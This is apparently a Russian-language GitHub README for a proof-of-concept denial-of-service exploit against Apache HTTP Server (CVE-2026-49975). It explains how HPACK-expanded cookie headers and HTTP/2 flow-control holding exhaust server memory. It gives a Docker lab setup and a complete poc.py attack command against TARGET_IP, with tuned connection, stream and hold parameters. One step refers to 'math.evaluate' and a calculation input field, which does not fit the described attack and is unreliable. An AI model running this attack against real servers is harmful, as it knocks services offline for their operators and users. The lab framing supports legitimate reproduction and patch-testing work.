yym8538/cve-2026-49975Эксплойт Proof-of-concept HTTP/2 Bomb для CVE-2026-49975 — DoS-атака с исчерпанием памяти через заголовок cookie в Apache HTTP Server 2.4.17-2.4.67, с Docker-лабораторией и PoC-скриптом.
★ CVE-2026-49975 HTTP/2 Bomb PoC ★
https://github.com/user-attachments/assets/89310771-f704-45d1-a6c3-d910de1dbc74
CVE-2026-49975 — это уязвимость отказа в обслуживании (DoS) в Apache HTTP Server. Уязвимость возникает в пути обработки запросов HTTP/2, где несколько полей заголовка
cookieмогут быть объединены без должного учёта вLimitRequestFields. Отправляя небольшой HPACK-кодированный HTTP/2-запрос, который разворачивается во множество полей заголовкаcookie, злоумышленник может заставить сервер многократно выделять память при объединении заголовков Cookie. Затем злоумышленник может использовать управление потоком HTTP/2 для задержки передачи ответа, удерживая затронутые потоки открытыми и не позволяя выделенной памяти освободиться.
| Категория | Версия |
|---|
| Уязвимые | Apache HTTP Server 2.4.17 ≤ version ≤ 2.4.67 |
| Исправленные | Apache HTTP Server 2.4.68 или новее |
Соберите и запустите уязвимое окружение Apache HTTP Server.
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975
После запуска уязвимого окружения выполните следующие шаги для воспроизведения атаки.
docker stats cve-2026-49975
Пример вывода:
CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM %
xxxxxxxxxxxx cve-2026-49975 0.5% 35.2MiB / 8.0GiB 1.7%
Отправьте следующее выражение в math.evaluate (например, через поле ввода вычислений приложения).
python3 poc.py \
--host TARGET_IP \
--port 10081 \
--connections 10 \
--streams 100 \
--refs 4091 \
--initial-window 0 \
--hold 300 \
--drip-interval 2 \
--drip-bytes 1
Убедитесь, что использование памяти контейнером Apache увеличивается и остаётся высоким, пока атакующие потоки удерживаются открытыми.